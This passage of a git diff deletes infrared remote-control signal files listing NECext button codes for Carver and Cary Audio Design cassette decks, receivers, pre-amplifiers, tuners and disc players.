parsed -protocol: NECext -address: 63 00 00 00 -command: 17 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 18 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 19 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 1A 00 00 00 -# -name: REPEAT_(1/ALL) -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 1B 00 00 00 -# -name: STOP/CLEAR_[] -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 1C 00 00 00 -# -name: PLAY/PAUSE_>/ -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir deleted file mode 100644 index df6ce21ec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 00 00 00 00 -# -name: REVIEW_<< -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 04 00 00 00 -# -name: CUE_>> -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 06 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 09 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 0A 00 00 00 -# -name: REC_MUTE -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 0E 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 14 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 82 6F 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir deleted file mode 100644 index 2d96bae90..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE -type: parsed -protocol: NECext -address: 87 7E 00 00 -command: 19 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 87 7E 00 00 -command: 1A 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 87 7E 00 00 -command: 1C 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 87 7E 00 00 -command: 1D 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 87 7E 00 00 -command: 1E 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 87 7E 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir deleted file mode 100644 index da821425a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: >L -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 20 00 00 00 -# -name: L< -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 21 00 00 00 -# -name: S/T -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 26 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 29 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2A 00 00 00 -# -name: <> -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 30 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 32 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir deleted file mode 100644 index df9cf74a0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 06 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 07 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 1C 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir deleted file mode 100644 index 97af23a07..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_AUX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir deleted file mode 100644 index b9b4890b4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VDP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir deleted file mode 100644 index ff41189e7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REMOTE_VOLUME_UP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 11 00 00 00 -# -name: REMOTE_VOLUME_DOWN -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 12 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 40 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 42 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 43 00 00 00 -# -name: REMOTE -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 45 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 52 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 53 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 54 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 55 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5B 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5C 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir deleted file mode 100644 index e311d6241..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: OUTPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir deleted file mode 100644 index 3bc020ba6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir deleted file mode 100644 index 6fe80499f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir deleted file mode 100644 index 0b8404dd8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PHONO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir deleted file mode 100644 index 97f1b05d3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DAT/TAPE_MONITOR -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir deleted file mode 100644 index e6cf04003..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir deleted file mode 100644 index aefd347ca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir deleted file mode 100644 index 77d3517a5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CDV_1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: CDV_PLAY_> -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir deleted file mode 100644 index 7ed2ec7b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 08 00 00 00 -# -name: PAUSE/STOP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 09 00 00 00 -# -name: PAUSE/STOP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 09 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 0A 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 0B 00 00 00 -# -name: REMOTE_VOL_UP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 11 00 00 00 -# -name: REMOTE_VOL_DOWN -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 12 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 40 00 00 00 -# -name: HOLOGRAM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 41 00 00 00 -# -name: VOLUME_MASTER_UP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 42 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 42 00 00 00 -# -name: VOLUME_MASTER_DOWN -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 43 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 43 00 00 00 -# -name: REMOTE -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 45 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 46 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 47 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 48 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 49 00 00 00 -# -name: 1/11 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4A 00 00 00 -# -name: 2/12 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4B 00 00 00 -# -name: 3/13 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4C 00 00 00 -# -name: 4/14 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4D 00 00 00 -# -name: 5/15 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4E 00 00 00 -# -name: 6/16 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4F 00 00 00 -# -name: 7/17 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 50 00 00 00 -# -name: 8/18 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 51 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 52 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 53 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 54 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 55 00 00 00 -# -name: 9/19 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 58 00 00 00 -# -name: 10/20 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 59 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5B 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5C 00 00 00 -# -name: VIDEO2/AUX -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5C 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5D 00 00 00 -# -name: ACCD -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir deleted file mode 100644 index 34ed38f04..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REAR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 27 00 00 00 -# -name: FRONT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 28 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir deleted file mode 100644 index 10ebc0156..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FM/AM_10/0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir deleted file mode 100644 index 6fe80499f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir deleted file mode 100644 index 98344e553..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: VCR_STANDBY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: VCR_CH_V_(PRESET) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir deleted file mode 100644 index 3e197d1d0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 08 00 00 00 -# -name: PAUSE/STOP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 09 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 0A 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 40 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 46 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 46 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 47 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 47 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 48 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 49 00 00 00 -# -name: 1/11 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4A 00 00 00 -# -name: 2/12 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4B 00 00 00 -# -name: 3/13 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4C 00 00 00 -# -name: 4/14 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4D 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4D 00 00 00 -# -name: 5/15 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4E 00 00 00 -# -name: 6/16 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4F 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4F 00 00 00 -# -name: 7/17 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 50 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 50 00 00 00 -# -name: 8/18 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 51 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 51 00 00 00 -# -name: 9/19 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 58 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 58 00 00 00 -# -name: 10/20 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 59 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 59 00 00 00 -# -name: ACCD -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir deleted file mode 100644 index 34ed38f04..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REAR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 27 00 00 00 -# -name: FRONT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 28 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir deleted file mode 100644 index 10ebc0156..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FM/AM_10/0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir deleted file mode 100644 index 6fe80499f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir deleted file mode 100644 index 487ed0889..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: CLEAN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: AMP_VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: AMP_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SRC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: AMP_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 24 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 25 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 26 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 27 00 00 00 -# -name: TUBE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: BRIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: AMP_VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: INPUT_< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: INPUT_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 33 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 35 00 00 00 -# -name: BALANCE_R -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 38 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3C 00 00 00 -# -name: BALANCE_L -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir deleted file mode 100644 index da402f788..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed 